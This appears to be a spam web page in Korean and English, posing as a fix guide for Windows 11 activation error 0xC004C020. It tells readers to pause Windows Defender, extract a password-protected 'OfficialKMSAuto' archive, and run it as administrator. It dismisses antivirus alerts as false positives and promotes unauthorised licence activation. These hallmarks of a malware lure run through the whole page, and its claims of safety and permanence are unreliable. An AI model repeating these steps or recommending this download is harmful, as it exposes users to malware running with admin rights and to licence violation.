Windows 11 0xC004C020 — 문제 해결 가이드 2026
본 문서는 2026년 Windows 11 0xC004C020 한국어 완전 가이드입니다. Step-by-step fix for 0xC004C020 on Windows 11. The MAK is blocked. Resolved in under 2 minutes with OfficialKMSAuto.
WYqejXiqBi97본 문서는 2026년 Windows 11 0xC004C020 한국어 완전 가이드입니다. Error 0xC004C020 appears when Microsoft blocked the Multiple Activation Key (MAK) in use. The fastest fix in 2026 is to run OfficialKMSAuto, which detects the cause and applies the correct activation method automatically.
What causes error 0xC004C020?
The MAK is blocked. Common triggers include hardware changes, expired KMS handshakes, blocked Microsoft licensing endpoints, and incomplete cumulative updates. The error is fixable without contacting Microsoft Support.
Step-by-step fix
Follow these steps in order. The whole process takes under two minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Download and extract OfficialKMSAuto using password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Click 'Fix 0xC004C020' or run the automatic repair option
- Reboot and verify with slmgr /xpr (Windows) or ospp.vbs /dstatus (Office)
If the error still appears
Rare cases of 0xC004C020 need a deeper fix: clear the licensing tokens with 'slmgr /rilc', re-arm with 'slmgr /rearm', then re-run the activator. OfficialKMSAuto bundles this entire cleanup as a one-click option.
Why this fix is permanent
HWID and TSforge bind the new license to your motherboard/CPU fingerprint, so the error will not return after Windows Update, feature upgrades, or reinstalls on the same hardware.
Frequently asked questions
▸Will fixing this error require reinstalling Windows?
No. OfficialKMSAuto resolves activation errors without touching system files or requiring a reinstall.
▸Is the fix permanent?
Yes — HWID and TSforge bind the license to your hardware, so the error does not return after updates.
▸Do I need internet access?
Only for the initial handshake. The activation itself runs locally.
▸What is the archive password?
WYqejXiqBi97 — same for every download on this site.
▸Is OfficialKMSAuto safe to use for this fix?
Yes. SHA-256 verified, open source, scanned on VirusTotal. Antivirus flags are generic HackTool false-positives.
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Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97